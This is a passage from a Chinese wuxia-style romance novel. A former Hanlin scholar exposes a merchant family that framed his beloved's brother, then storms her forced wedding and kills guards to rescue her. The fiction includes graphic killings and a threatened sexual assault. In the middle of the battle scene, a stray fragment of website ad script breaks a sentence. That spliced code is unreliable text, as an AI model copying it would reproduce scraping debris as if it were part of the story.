他在翰林院时查阅宗卷对此人有所耳闻,又听程贤提过平洲这些时日巡查的事迹,心底打量着此人。 “适才那批人要你命的人,是平州派来的?”王林警觉。 “未必,许是景宁县收到平州的信报,蓄意谋杀也有可能,若非本官将亲信提前派去景宁县打探,又怎会给他们有可趁之机。”随行的几位护卫都已殒命,以他独身一人安全抵达景宁县,怕是不易。 此处到景宁县已不远,快马加鞭一日就能到,景宁县与长乐县接壤,他更换路线最多就耽搁两日,还能赶上婚期。 “眼下本官只要能顺利抵达景宁县,便能迎刃而解,到了那,他们就无动手的机会了。”巡查使是乃替皇帝巡查地方,纠察诸事,考察官吏之责。 “若有少侠同行,待本官抵达景宁县,定会酬功抱德。” 王林斟酌再三,应下了。 他决意不走官道,免得那拨人从官道追来。 翌日夜时,王林护送巡查使抵达景宁县,来迎接的还是景宁县的守备军,临别前杨云山特赠一匕首给王林,“不知少侠姓名。” “王林。” 杨云山记住了这个名字,“此匕首乃先师所赠,此行多谢王少侠相护,本官会在景宁县逗留数月,若他日有需,可凭此物来寻我。” 王林收下后作揖:“告辞。” 他长腿利落翻身上马,马蹄消失在暗夜里,一骑绝尘。 且不说有无用途,匕首拿来防身也是不错,他归家心切,扬起的马鞭荡在夜空中,山林里一人一马,借着星辉赶路。 李慕婉住在孙家别苑已有两月,若说是居住,软禁更贴切。李奇庆的案子迟迟拖延未查,孙镇伟从中出了不少力。 隔三差五,他便拿了许多首饰珠宝去讨好李慕婉。李慕婉瞧都不瞧一眼,对他淡漠疏离,冷眼相待。 孙镇伟念着与李家联姻后,能够为孙家广开燕州药商之路,还有李慕婉的丹道加持,孙家掌控四大家族的话语权指日可待。思及此处,李慕婉那些冷眼他都可尽数无视。 李慕婉桌前堆了无数珍宝,孙镇伟随手抓了一把又落下,叮铃清脆的声音让李慕婉不适。 “婉儿,知道你担心李兄,今日我去看他了,多番打点之后,县衙牢狱不敢动用私刑,待你我大婚之后,我亲自去一趟守备军营,查清此事,定不让李兄有恙。” “那批药材,我也看过,出货时是绝对没有问题的,为何到了守备军营后,就不一样了,那药材你能拿回来给我再看看么?”李慕婉这些时日思索的都是这事。 可孙镇伟却百般推脱:“自然不能拿回来,那些药材如今已经是罪证,岂能随意拿走?” “你且安心,只要等待大婚便可,其余的交由我。” 孙镇伟欲要触到她肩头,李慕婉顿觉不适,起身躲开了,“我乏了,你走吧。” 孙镇伟恼怒却还不能发作,赔笑着道了别。 李慕婉停在院中,黑夜寂寥,鸦声四起,她的愁丝激起,哥哥,阿兄,可都还好? 33.抢婚 孙凌武坐于书房,账本翻了又翻。 孙镇伟从别苑回来,朝书房里的人恭敬拘礼,“父亲。” 孙宅宁静,月色过了院墙,孙凌武多心谨慎,不免多嘱咐道:“李家铺子那批药材得赶快转出去,填补亏空,不若四大家族的管事若是下来查账,就不好交代了。” “父亲放心,孩儿已经联系了药商,且不说能不能卖个高价,脱手了才是要事,李家药材自然是上等的。” “这些年来,曹氏因水路货运占据了清平镇大头生意,咱们孙家也只能忍气吞声,燕王与朝廷不对付,眼下虽是平息,万一这仗日后打起来,药商便是稀罕买卖。” “若非咱们与燕州那边打不开商路,又怎么会出此下策,让李奇庆深陷囹圄,逼迫李慕婉嫁入孙家,从而利用李家的人脉打通燕州药商与孙家的合作。”孙凌武道。 “父亲说得是,”孙镇伟说,“那李慕婉丹道精湛,药材始终是低利之道,丹药才是高利,往后李家与孙家就算是一条船上的了,谅他兄妹二人也不会不识时务。” “县衙那都打点了?”孙凌武端着茶盏浅呷一口。 “都安排好了,父亲放心就是。” 竹林小院内,王天水与周英素坐在院里纳凉,周英素满脸愁容,叹着气道:“这婉儿说成婚就成婚了,眼下待嫁也好久没有回来了。” 王天水呼出一缕烟雾说:“这孩子有好的归处也算好。” “铁柱上京后,婉儿在家里忙前忙后,那是替铁柱尽孝呢,”周英素言语满是惋惜,“若是能成咱们家的媳妇,该有多好。” …… 堂屋门前,颀长的身影压过光线,周英素神色微颤,带着不可置信,嘴巴微张,口齿不是太清楚,“铁,铁柱?” 王天水闻言也望去,王林风尘仆仆,一路沧桑,下颚的胡茬横长,二老有些不敢认。 “爹,娘。”直到王林喊了声,二人互相搀扶起身,王林忙跑过去,跪在二人身前,“爹,娘,是铁柱,铁柱回来了。” “铁柱啊,你不是在京城吗?怎的回来了?”周英素弯腰去扶他,王林朝二人磕了三个头。 “你信中不是说在翰林院当差?”王天水也很是迷惑,他这一身,倒像是亡命之徒装束。 “爹,娘,铁柱不孝,辞了官职。” “儿啊,这是为何啊,”王天水说,“可是遇到什么难处了?” 此事三言两语说不清,王林沉重叹了一声,只想问道:“孩儿无碍,爹娘信中说,婉儿要成婚了?” “是啊,是镇上孙员外家的少爷,富贵人家,也很是懂数,婉儿嫁过去也算是个好归处。” 好归处? 王林眉心拧紧,宽袖里几乎握出血的掌心抖个不停。 李慕婉的好归处唯有自己,只能是自己! 在父母面前却还要压抑那份情愫,“爹娘,铁柱辞官一事,一时半会儿无法与你们道清,等寻个时机孩儿再与你们解释。” 二人面面相觑,沉默良久,王天水搀起王林,拍了拍他衣衫上的尘土,“铁柱啊,你自小就有主意,爹娘也非不通情达理之人,做不做官的,都没有踏踏实实活着重要,无论你做什么,爹娘都支持你。” 听着父母的宽慰之言,王林更是心生愧疚,抱着二老安慰了许久。王林又打听了关于李慕婉婚事的详细,道明此行回乡目的。 “孩儿很感激婉儿这些年来对爹娘的照顾,从前我不懂,在京城备考的那些时日,才知晓心底所想,爹娘,孩儿属意婉儿,我要把她抢回来,给你们做儿媳。” 他说得那样决绝,眼神透着坚定。 他若有这个心,李慕婉若是能做王家媳妇儿,二老自然是乐意。只是这婚事已定,他如何抢得过来。见着二人神色担忧,王林安抚着:“爹娘放心,孩儿已有主意。” 见他说得轻松,也不再过问,周英素给他烧了热水,王林净身后把那多日风尘扫尽,剃了胡茬,那清秀温润的少年郎如松风水月。 待他回了西厢房,推门那刻,昔日往事一幕幕映入眼帘,少年郎端坐案前温书,温婉优雅的倩影端了茶盏入内,添油点香,二人再安静的对坐看书。 她一句一句的“阿兄”,似萦绕耳侧,王林缓缓伸手,朝那虚影的位置轻轻一握,唯有凉风穿过,什么都没留下。 少年深深一叹,走近烛台,点上烛火,桌案还是他走时的模样,李慕婉未定婚前,每次来竹林小院都会打扫一番西厢房,之后软禁孙家别苑,再无踏入此地,来打扫的就成了周英素。 桌上竹子做的花筒空置,已有一年多未再插花,可他却好似能闻见若有似无的一股味道。 是香炉里提神香的余味。 他提着步子,缓缓而过,指尖抚在她原来常坐的那个位置,就好像抚着她的影子。 “我都记得,是你不记得了。”王林声音沉哑,黯然神伤,渐渐的那柔情演变成锋利,眸光里散出杀意,脑子里控制的弦崩裂,将他那满是侵略和占有的欲望泄出。 掌心渐渐握成拳,抵在案上,他在努力克制,就好像在京城收到家书得知李慕婉要成婚那刻一样,重回故地,从前种种画面如排山倒海猛灌,烛光摇曳,闪过暗色,他眼里的杀意近乎疯狂,难以按耐,宛若嗜血修罗。 暗夜里,他低低涌重的出声,“孙镇伟!”眸中的寒芒再收不住,似要撕裂黑暗,撕裂那人。 王林翌日一早便去了镇子,如爹娘所说,李家药铺被查封。李慕婉如今住在孙镇伟别苑里,他多番打听调查后才得知李慕婉所住之处,清平镇不算大,孙家地产闻名,总能寻到。 只是那别苑门户紧锁,府外还有专人看守。若是李奇庆在的话,定然不会让她被孙家接走,思量过后,王林总觉其中透着古怪,李家在镇上是药商,那便与药商打听,定然能有线索。 经过两日暗中探查,王林才知李奇庆遭逢牢狱之灾,原因就是那批药材。难不成李慕婉与孙镇伟的婚事是因为这个? 虽说软禁,但是只要李慕婉开口,孙镇伟也会允她外出透气,只是周身都得跟着人,大婚在即,李慕婉要求见一面哥哥。 孙镇伟不想她多虑,便答应了,从清平镇到县衙一来一回也要一日,夕暮后,余晖笼罩清平镇古街道的枫林处,金辉与枯黄融为一色,李慕婉坐在马车里,挑开帘子漫无目的的观着街景。 她把清平镇的路线记熟了。 正要收回视线时,街角处一孩童跑出,马儿受了惊前蹄后仰,车内的人失了平衡,马夫拉紧了缰绳,心有余悸。 那孩童被人稳稳抱在怀里,高大的身躯蹲下身与他齐平,摸了摸他头,安抚道:“没事吧?快回去寻你爹娘吧。” 孩童惊慌中道了声谢谢跑开了,李慕婉回神后问了帘子外的马夫:“发生了何事?” “无事,适才一小孩不长眼,险些撞上了。”马夫回头与里边人回话。 “那孩子可有伤着?”李慕婉略显担忧。 “被一位小哥救下,已经无碍,少夫人莫要担心。”马夫扬起鞭子,“天色要暗了,小的送您回去。” 孙镇伟有嘱咐,马夫也不敢耽搁,李慕婉仍是不放心,“既然是我们的马车惊了人,若非那位小哥,岂不是我们的过失。” “劳烦将那人叫过来,我与他道声谢。” 马夫受了差遣,见李慕婉坚持也不好拒绝,下车拦下已经远走一段距离的王林叫住。 “小哥留步。” 王林顿足,微侧身,却没看身后的人,“何事?” “小哥方才救了那小孩,我们少夫人说要给您道谢。” 王林提步子要走,显然没在意,那马夫得了李慕婉的差遣却不敢怠慢,硬着头皮跑上前,定在王林跟前,和气道:“少夫人心善,自知是我们不是,无论如何都得当面致谢,还请小哥行个方便,莫要为难小的了。” 此人难缠,王林心里惦记着要事,索性应付一下,马夫领着他走到马车窗前不远处。 马夫轻敲两下外窗,“少夫人,人已经带到。” 李慕婉临着帘子,未挑开,“多谢公子方才出手。” 熟悉的声音贯穿入耳,街道的嘈杂在这一刻宛若静止,王林脑海里映出那抹身影。 是她! 涣散的眸子骤然睁大,定定望着车窗,落日打在车前,透过帘子隐约能看见里边的轮廓。 王林神色突变,敏锐的察觉马车身后跟了许多暗哨,他只能暗自隐下那份激动,压着声音:“无妨。” 听见声音的李慕婉抬头,双肩挺直,这声音,这气息,是日思夜想的人。 是他! 王林带着期许,不确定李慕婉能否认出自己的声音,正当他在遐想时,李慕婉已经挑了帘,目光炽热盯着他,这一眼就好似隔了千山万水。 二人视线交汇,往日如流水,将那些情愫与思念滚过天际,形成光束汇聚于此,李慕婉哽咽,不可置信沙哑的唤了句:“阿兄?” 心中千言万语,可她此刻却什么都不能说。 他,怎的回来了? 他可知道自己要成婚了? 余光里的暗哨正盯着此处,王林将那些情愫隐去,抱拳微颔首。 “阿兄何时回来的?”李慕婉心中千言万语最后只落成这一句。 “日前。” 李慕婉缓缓下车,与他站得隔了些距离,无处安放的双手藏入宽袖里,目光落在王林的五官上,一年多不见,彼此的身高见长些,李慕婉出落得更是亭亭玉立,温婉大气。 她朱唇微启,想试探,“阿兄因为考取功名回乡的?听闻阿兄在翰林院做了学士,此次归乡,要待多久?” “嗯,归期未定。” 李慕婉挤出一笑,“答应阿兄要照顾王叔周婶的,婉儿这些日子不便去王家村,不知二老身体健康否?” “嗯,我走了。”王林目视前方,提步要走。 擦肩而过时,李慕婉鼓足勇气扯住他衣角,仅仅攥了一角,力道却不重,王林顿时留步。 喉间滚动,睫羽微颤。 李慕婉声音泛伤,“李家与孙家因药商联姻,一月后举行大婚典礼,若阿兄一个月还未折返京城,能否来参加这成婚大典?” 李慕婉抬眸灼灼望着他侧脸,那轮廓比一年前更是锋利了些。 “恭喜。”王林声音隐忍,险些自控不下,迈出的步子放大,消失在街道里。 李慕婉望着远去的背影,他那句恭喜,却让她痛心泣血,良久才收回神。 归家的王林回想李慕婉的话,李家与孙家是因药商联姻,李慕婉不敢明说,是因为那些暗中窥视的护卫,王林不敢吐露心声,冷漠应对,也只是怕惊动暗处的人。 还有一个月。 王林回到家中,烛火下的他压根无法静下心思索其他的事,晚饭也只是扒了两口,二老见他早出晚归一副心事重重模样,心里记挂着又不敢烦他。王林察觉父母担忧,扯出一丝笑容,“爹娘,不必挂心我。” **** 孙镇伟在书房听闻暗哨汇报了李慕婉白日的行踪后便来到别苑。 “婉儿,听说你王家村的阿兄回来了?”孙镇伟试探道。 李慕婉很是警觉,“嗯,白日从县衙回来,街上遇着了,怎么?这也要向你汇报吗?” “婉儿误会了,那王林既是你兄长,又曾对你有恩,王家二老待婉儿如己出,”孙镇伟一笑,“我们孙家该有的礼数要有,不若大婚前我陪婉儿一块到王家村好好拜谢二老。” “你?” “婉儿别紧张,”孙镇伟说,“我并无他意,就定明日吧,明日我来接你。” 孙镇伟走后,李慕婉拿出妆匣里藏着的图纸,她望着烛台许久,图纸上面标记的是整个清平镇的路线。 倘若别苑起火,再造成假死之势,孙府在清平镇势力遍布,没有事先备好的路线,她想躲过探查并非易事。 是日万里无云,孙家马车从清平镇赶到王家村,声势浩荡,似要昭告什么。 王家村口来往的村民少有看过如此豪华的马车,罗帐遮帘,孙镇伟率先下了马车,抬手让李慕婉搭,李慕婉撇过视线未碰及他分毫,躲开了。 竹林小院里,二人刚进小院,便见从东厢房窗台下插着花的王林转回身,李慕婉先是怔住须臾,随即又恢复平静唤了声:“阿兄。” 王林点点头,瞧见两人身影,却不明来意。眸中寒芒悄无声息压过孙镇伟,他面色仍是淡然。 王天水和周英素忙招呼着二人,孙镇伟颇有礼数,坐下后端过王天水递过的茶。 “听婉儿说,王林兄弟从京城回乡了,正好来拜见,承蒙王家以前对婉儿的照顾。” 李慕婉与孙镇伟坐在一处,有些距离,王林抱臂倚在堂屋门框上,视线若有似无的瞥着李慕婉。却见她一直低着头。 王天水朝王林看了一眼,欲言又止。 屋内氛围不算好,大多是孙镇伟在滔滔不绝,周英素接话说:“都是婉儿孝顺懂事,铁柱上京后,家里全靠婉儿照顾,是我们王家感恩才是。” “周婶,王叔,”李慕婉这才抬头,“都是婉儿该做的。” 李慕婉思虑许久,视线终于移到门框上倚着的身影,瞧她看过来王林才若无其事地收回目光,移到别处。 但见他却丝毫不在意,哪怕连问候的话都未曾说一句,失望搅着她,目光再次垂下,盯着自己的裙摆。良久那无人察觉的视线,又才落回她身上,两人都无心孙镇伟与父母攀谈的话,各有心事。 月朗星稀,少年睡不下,闭着眼时脑子里都是白日李慕婉与孙镇伟出双入对的身影,掌心攥了一团被褥,无声撕碎着,躁极了。 王林猛然坐起,穿了靴,撑在窗台上,黑夜里深眸如幽暗的无底洞,却藏了满腔恨意。 在这股恨意里,他被反复颠簸,他再也不是镇定从容的正人君子,是黑暗中性情暴虐的野兽,窗台的花筒被打落,连同书案都翻了,屋内的凌乱不堪入目。 那恨意含着酸苦,他被血淋淋地浇透了。心烦意乱中好似瞧见了虚影从门里走来,端着茶水。 “阿兄。” “阿兄,婉儿来添茶。” “阿兄,灯油尽了,婉儿来添。” “阿兄......” 浑噩中他睁大了眼,可虚影消散了,门仍是紧闭的。 西厢房再次门开时,一道长影出了小院。 别苑中,李慕婉立在窗台赏月,夜里府上只留了几个看守院门的,只要李慕婉不外出身边的暗探就会撤下。 王林几日在别苑巡视后已有察觉,知道什么时辰会有巡逻,暗哨的位置也探得清楚。 夜过子时,李慕婉刚褪下外衫下榻,自见过王林后,便再难隐忍这些时日藏下的情意,她下定决心要嫁,不想耽误王林前程,亦不想哥哥出事,可她心里仍是存了念想。 她不知,比她更无法放下的另有其人。 “开门。”窗外声音森冷,李慕婉沉在思绪里,忽闻一声,猛然坐起身子。 王林眼前的窗户被重重推开。 月色下,俊朗的少年额前飘着碎发,发带搅动。 “阿兄……”热泪打在眼眶里,那双清眸裹上银河。 王林撑手等不及她开门,抬腿从窗外一跃而入,李慕婉被这气势惊退两步,磕着身后的烛台,身躯不稳。 王林伸手捞起人,手臂横在她后腰,李慕婉讶异发出微/喘的气息。 昏暗中二人贴得近,隔着影影绰绰的烛火,看清了彼此的面容,王林炽热的目光和滚烫的气息让她两颊淡出绯红。 李慕婉不知他今夜前来是何意,又怕被孙镇伟派的人发现踪迹,不免担心道:“阿兄,你进来可有人发现?” “无碍,”王林语气轻柔,松了手,转身立在窗台,时刻注视着窗外的动静。 李慕婉走近些,目光一直落在他轮廓里,王林察觉后回以视线,“杀孙镇伟简单,但是要等我掌握孙家足够为非作歹的证据,让孙家永无翻身之日,再带你离开,可好?” “嗯。”李慕婉欣然一笑,他的话比冬日暖阳还要烈。 “阿兄你是如何知道的?” 王林淡然解释说:“昨日与你在街上相遇之所以不提及,是因为暗中有人窥视,不便多说。” 李慕婉垂眸原来是如此,把白日竹林小院里他的冷漠抛到脑后。 “婉儿,奇庆兄可是遇到麻烦了?”王林深知,李奇庆不会让她受此等屈辱。 “哥哥他,在县衙大牢里,”李慕婉伤身,“孙镇伟答应等大婚后便拖人把哥哥从牢狱里放回来。” “那你可有亲眼所见?”王林谨慎小心。 “见过,昨日街上遇着阿兄,我便是从县衙刚回来。” “阿兄,那批药材不会有问题的,婉儿怀疑定然是孙家从中做了手脚,致使哥哥无法脱身,”李慕婉分析着前因后果,这些日子她也有努力在探查,只可惜孙镇伟盯得紧,她行事不便,“早在先前,孙镇伟便与哥哥提过与李家联姻的想法,可是哥哥没应。” 见王林神色骇然,李慕婉又补充道:“婉儿也不应。” “之后哥哥出了事被困县衙,孙镇伟趁人之危,逼迫我嫁于他……” 王林久久注视着她,原来是因为这样,从那时候,他便没收到她的家书了。 李慕婉又与王林谈了事发前后的详细,夜色越浓,月光斜过屋檐,鸦声也静了,王林不能再久留,“婉儿,你且安心等我。” 王林离开别苑已是丑时。 从李慕婉那得知的线索,王林接下来便开始着手筹谋,加之前几日打探的信息。 他寻了王浩,王卓还有葛阳许浩一道谋划。王浩负责在镇子上打听李慕婉在孙家别苑的处境,葛阳许浩则负责打探李家和孙家近几月接触到的药商。 二人闲时会在李家药铺帮衬,这事李慕婉在信中提过,两人对李家兄妹感恩,拖了王林的嘱托,自是鞍前马后。 王卓家住县城,借着家中关系,打听到李奇庆在狱中之况。 接下来只要查出孙家暗箱操作的证据,证明李奇庆无罪,撇清与孙家关系,自然可以释放。 可如此并不能阻止李慕婉嫁入孙家,他还有底牌。 至于孙家是否会反击报复,连累亲人好友,以孙家多年在清平镇打下的根基,药商一事揭露,出些钱便能摆平,且孙家能联合县衙狼狈为奸,要挟李家兄妹,那么县衙也不可靠。 几人聚在一块,商量着对策,王浩还有担忧,若孙家起死回生,再报复岂不是惹祸上身了。 王林眸子坚毅,恶狠狠道:“要么不做,要么做绝!” 他摸了摸腰间的匕首,嘱托着,“我要去景宁县一趟,大婚前定然赶回来,婉儿那就有劳你们了。” 众人都不知他最后筹算是什么。 李奇庆的药材出了问题,葛阳许浩那探查出是孙家做了手脚,孙家近日急着找药商出手这批药材,王林拿了银票让葛阳许浩想办法用燕州药商的身份将这批药材买下,以解孙家暂时之困。 孙镇伟脱手药材后心情大好,来了别苑看望李慕婉,李慕婉拿着那尊王林刻的木雕小像捂在心口,见孙镇伟到来,李慕婉又收起木雕。 王林一路疾驰到了景宁县府衙,以匕首为信物,求见巡查使杨云山。 杨云山看过那把匕首,不成想结下的机缘这么快就来了,他应了王林的约。 王林只道长乐县官商勾结,欺压百姓,暗通款曲,更换军药。原本还要在景宁县待上几日的杨云山,却又不得马不停蹄赶往长乐县。 若是前往长乐县巡查,晚几日定是无妨,可王林等不了,大婚在即。 他必须得赶在李慕婉大婚前回到清平镇,杨云山知晓他的诉求后,原本还有所顾忌。 可王林不要他承诺自己什么,只需秉公执法,至于人证物证尽数由王林提供,到了清平镇,这些证据都会呈上巡查使。 巡查使也不能只听一面之言,杨云山到了长乐县后便按王林所提线索一一查证。 大婚之日,孙府红绸装点得喜庆锦色,宾客齐聚,唢呐声响,吉时算的是在亥时一刻拜堂。 孙镇伟在庭院招呼宾客,李慕婉等在婚房,竹影残灯映在火红嫁衣的鸳鸯绣上,凤冠遮着眼帘,随着她的动作轻轻晃动。 铜镜里的新娘,粉白黛绿,气若幽兰,只是绝美如玉的容貌下,怀了一层失落。 眼见吉时要到,屋外贺喜声音连绵不断,她却觉得刺耳。 喜婆领着女使入了新房,“少夫人,吉时已到,咱们走吧。” 李慕婉迟疑,不听催促,喜婆摆手示意女使上去搀扶。 “孙少爷英年才俊,与少夫人郎才女貌,简直天造地设的一对,老婆子这么多年还没见过如此般配的,孙员外家大业大的,也就这么一个独子,往后家业不都是您的了,要老婆子说啊,还有什么看不清的呢?” 李慕婉仍是不动,门外响起不合时宜的声音,孙镇伟言语威胁,步步紧逼:“今日乃大喜之日,亲朋好友尽数到齐,这婚成也得成,不成也得成,我劝你识相一些,莫要惹我 ,不然你那牢狱的哥哥能不能全须全尾的出来,那就不一定了。” 李慕婉手腕被捏了一道力,想挣扎却越发紧,她满眼厌恶瞪着孙镇伟,全身心都在诉说她的不愿。 “别以为我不知你在想什么?还在想着你那王家村的阿兄来救你?”孙镇伟言语奚落,满是不屑,“他早已回了京城,你以为他区区一个翰林院学士能耐我何?若他胆敢坏我好事,我定饶不了他王家一族。” “你敢?”李慕婉曷厉。 “那倒要看你了,婉儿,你我今夜就会成为夫妻,往后孙李两家合作,手握清平镇永凌港各大州郡药商,富甲一方成为皇商指日可待。你得认清现实啊。” “请少夫人到正堂去,”孙镇伟卑鄙道,“想想你的兄长,还有王家村那一家子,再决定要不要行这拜堂礼。” 李慕婉没法子,只能任他摆布,宾客挤满正院,火红的地毯从大门铺到正厅,喜婆给她正好凤冠,二人缓缓步入正堂,宾客议论纷纷,大多数夸赞这女子容貌惊艳,姿态如扶风弱柳,天下无双之言。 李慕婉充耳不闻。二人步入正堂后,唱礼官开始宣式拜礼,嘹亮的声音绕过满堂红绸,荡在梁柱上经久不消。 “一拜天地……” 孙镇伟朝天地深深鞠躬,唯见李慕婉站如松柏,岿然不动,孙镇伟余光落空,微抬眸侧望,“你是不想见你兄长了?” 只有李慕婉能听见的声音,面对此状,众人唏嘘不已,对此桩婚事心有存疑。 李慕婉不情愿低下头,只是刚要垂眸,那夜色里一支利箭穿过喜灯,正堂檐下的灯火熄灭,暗箭飞过孙镇伟的发冠,钉在正堂墙上那张偌大显眼的囍字上。正戴的发胡乱散下,没了新郎官的礼正。 堂内众人炸乱,孙镇伟已被这突如其来的暗箭吓坏心神,狂躁地朝四下喊去:“护卫,护卫,有刺客!” 李慕婉心底一松,一晚上的不安在这时全然松动,她望着那支箭,低声念着:“是阿兄……” 她知道,必然是他来了。 “今日乃我孙府大喜之日,阁下若是想讨杯酒喝,老夫不介意赠你一坛,可若是成心滋事,那可就怪不得老夫招待不周了。”孙凌武还算镇定。 此时堂内人群里不少人议论。 “这大喜之日,怎会有刺客?” “莫非是有人来抢亲?” “哼,”王林冷哼一声,“你孙家仗着清平镇四大家族的地位,恃强凌弱,暗箭中人,阳奉阴违,为达目的,不择手段,强娶婉儿,眼下竟还要装作一副冠冕堂皇之态。” 孙镇伟听得更是暴躁,朝那空旷的黑夜喊道:“少在这装神弄鬼,来人,今夜必将此人生擒,凌迟……” 他话音未落,三支箭羽再次穿过,将堂内桌上摆放的红烛熄灭,就连酒盏也碎了。 那震天的威慑声音从院外滚滚而来,一抹威严挺拔的身影在院墙之上卓然而立,月色落在他身上,一身黑衣,面容却泛着白皙,隔着暗色,李慕婉瞧清了他。 “今日乃王某与孙家私怨,若尔等要走,王某不送。”王林手中弓弦拉满,众人闻声四散而去,他们不过是受邀来喝个喜宴,犯不着搭上这么档子事。 孙府护卫蜂拥而上,王林只身前来,手中拉开的三支箭羽再次射出,直直朝孙镇伟而去,却被身前的护卫挡下。 孙府的护卫身手不错,王林扫过上前的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 刀光,从腰间抽出长剑,剑柄在手腕空转几下,几乎是瞬息间,锋利划过其中护卫的脖颈,那人身躯应声倒地。 身后欲要上前的护卫显然怔了须臾,很快又挥刀而出,越来越多的护卫围上去,王林眼神凌厉,冷静得骇人。 剑锋撕破长空,如游龙穿横,他身轻如燕,腾空躲避攻击时,旋转的利剑如电光火石刺向众人,挥剑之快,疾如闪电,快如疾风。 惨戾的厮杀响彻暗夜,护卫越来越多,李慕婉望着惊心动魄的一幕,回想起天麓山那夜,他便是如此只身破百人围杀,带着素未相识的她冲出险境,即便被山匪穷追不舍,他也没想过弃自己而去。 刹那间,一道暗箭穿过人群,李慕婉观着局势,捕捉到那暗箭时喊道:“阿兄,小心。” 奈何速度太快,王林躲避不及,只能用肩头挡下,头发散乱的孙镇伟见此一幕心中暗爽。 “杀,杀了他,重重有赏!” 李慕婉心急想要上前,却被孙镇伟抓紧手腕重重一甩,李慕婉不受控,扑在铺满红绸的案台上,灯油倒了一片,霎时熊熊烈火燃起红绸,将原本暗夜点起光亮。 王林手中长剑再次拨开,将蜂拥的护卫击退数丈之外,借着空隙打了一眼正堂,李慕婉正被孙镇伟扯过带出堂屋,往后院去了。 “婉儿!”王林欲要追出去,又被几个护卫拦下。 他身手再好,也难以在这围剿中轻松脱身。 他今夜赶在巡查使的人之前独身而来,就没打算放过孙镇伟。 即便如此,孙府的重围比他想象还要难缠,可就算是刀山火海,他也得把人给抢回来! 李慕婉被拽着走,处心积虑筹谋的大婚被搅乱,孙镇伟几近疯狂,口中恶言威胁道:“王林不是回了京城吗?他折返回来你知道?” “与你何干!”李慕婉不愿走,抬起手肘,照着他手臂重重一击,孙镇伟受痛松了手。李慕婉见状便跑,只是这里的孙府她不熟悉,若是回头遇上护卫挟持自己要挟阿兄,便是给他添乱了。 孙镇伟很快追上来,那杂乱的头发舞在夜风里,身上宽袍红衣映着火光,似地狱攀爬而出穷追不舍的厉鬼。 李慕婉只能往身侧最近的阁楼上躲,繁琐的头饰和嫁衣让她动作无法轻快,可她不知自己登上的阁楼是死路,孙镇伟见状已经隐了急色,眼神泛着戏耍的玩味。 “婉儿,你跑啊,如何不跑了?”孙镇伟身躯压上,李慕婉抵栏闪避。 “孙镇伟,你要做什么!我阿兄不会放过你的。”李慕婉声音凌厉。 孙镇伟却不吃这套,“你阿兄孤身而来,我孙府护卫无数,任他再勇猛无敌,也有力竭的时候,到时候,本少爷再好好折磨他,连同你。” “莫非看中你李家与燕州药商的人脉,我何故大费周章设此一局,让你兄长入狱,再叫你走投无路,只能嫁与本少爷。谁料你竟不识抬举,伙同贼人,你以为今夜你们出得去吗?” “你孙家罪恶滔天,我阿兄若无十全把握,也不会只身而来。” 孙镇伟步步紧逼,李慕婉无可退,她敌不过孙镇伟的蛮力。 正堂的火势越发猛烈,孙凌武拔了刀指挥着护卫进攻,王林黑衣浸染了鲜血,中了数刀,院前已横尸遍野,厮杀疯了,眼神渗透的凶狠如地狱鬼刹,要将这黑夜撕碎,把那些人尽数斩下。 双拳难敌四手,更何况是重重包围。 乱战里不知受了谁的一脚,王林躲避不及,倒在席桌上,桌面受着力霎时碎裂,王林躺在血泊中,捂着胸口,吐出一口鲜血。 黑袍下是渗透的血迹,绷带下的血流入掌心,滑在剑柄之上,发带也松了,墨发如丝散下,李慕婉绣的发带正好落到手上。 虽已力竭,可他不能倒下,望着李慕婉被带离方向。 “婉儿……” 王林又重拾斗志,掌心猛然握紧发带,手肘撑地艰难而起,用发带连同手臂和剑柄一并缠紧,再次抬眸时,目光的狠戾越发浓郁。 “就算是死,我也要把你抢回来!” 艳红的火光摇曳在深眸里,眉骨处溅了血液,周身散着浓浓的血腥味,垂首的王林侧头抬起,那血滴沿着高挺的鼻梁滴落剑柄之上。 孙凌武被这气势压得不自觉后退,王林却像打量猎物一般,他咬着绷带,缠得更紧了,那神色着实叫人恐惧。 “给我杀,杀了此子,赏黄金千两。” 他的脸被火光映得透红,瞳孔几乎是红色的,那藏在黑夜里的一半轮廓,森冷寒芒。 王林身上受了几处伤,李慕婉还不知去处,他得速战速决,握紧剑的手骤然挥出,纵身而下时如万剑钧势而来,那些护卫抬刀要挡,王林剑光疾驰,招数变幻,让人毫无防备的落在要害之处。 孙凌武见状吓得手握不稳,武器哐当落地,王林解决了护卫丝毫未停,侧身将手中长剑奋力飞出,剑身带着火光穿透欲逃的孙凌武。 其余光一抹寒芒裹挟月色,旋即,喉间利剑穿破,孙凌武口吐浓血,喉间血流不止,捂着伤口的指缝渗出,渐渐倒地。 王林从黑夜里现出,目视前方,眼角是抽搐不断的孙凌武,他利落拔出刺穿孙凌武喉间的长剑,又是一束横流喷射而出,他头也不回。 火光照着远去的背影,少年发带飘在血色里,目光森然,弥漫的血腥萦绕黑夜,长剑擦过青石板,滋滋地拉出火星。 阁楼处,李慕婉双腕被孙镇伟掐着近乎使不上劲,他狂妄道:“你不愿嫁?那本少爷今夜就办了你,等我爹生擒那王林,再叫他亲眼看着,本少年对你是如何百般淫/辱!” 他这副鬼样子,李慕婉恶心极了。 只能后仰着身躯,要躲开他抵上来的意图,可奈何这样,她那修长白皙的脖颈暴露在月光之下,宛若是一种迷药。 促使孙镇伟兽性大发,伸着头就要埋下去,李慕婉感受到热气越来越近,无奈之下,膝盖猛的朝他胯/下重击,孙镇伟还未碰及便只觉浑身撕裂,痛感冲破窍门,叫他生不如死。 李慕婉寻机要逃,孙镇伟反应很快,忍着痛也要给她扯回来。 正要逃离的人身躯再次被带回,孙镇伟早已没了理智,恶狠狠的上前压着人,双手掐着李慕婉细脖,李慕婉呼吸困难,二人抵在阁楼的栏杆处,她半个身子悬着空。 孙镇伟癫狂放声道:“贱人,我要杀了你!” 她越发喘不上气,朦胧中,一道离弦声擦过黑夜,击中孙镇伟的左肩,那力道将他整个人往后带,重重倒地,阁楼余震难平,王林岿然立在黑暗中,眼神阴沉。 “婉儿!”声音从阁楼下传来。 李慕婉俯身喘着息,前院火光冲天,看见了王林站在光前,弓还举在手上,当李慕婉站起身子,王林扬出一抹久别重逢的暖笑。 他箭步踏前,立在阁楼下,双手张开,朝那温婉的女子柔声:“来。” 李慕婉看见少年脸上的笑,如沐春风十里。 往日种种,王林耐心静静等着她,堂屋为母亲治疗腿疾的她,夜夜掌灯之人,替他护双亲时的决绝,那一封封寄往京城的家书。 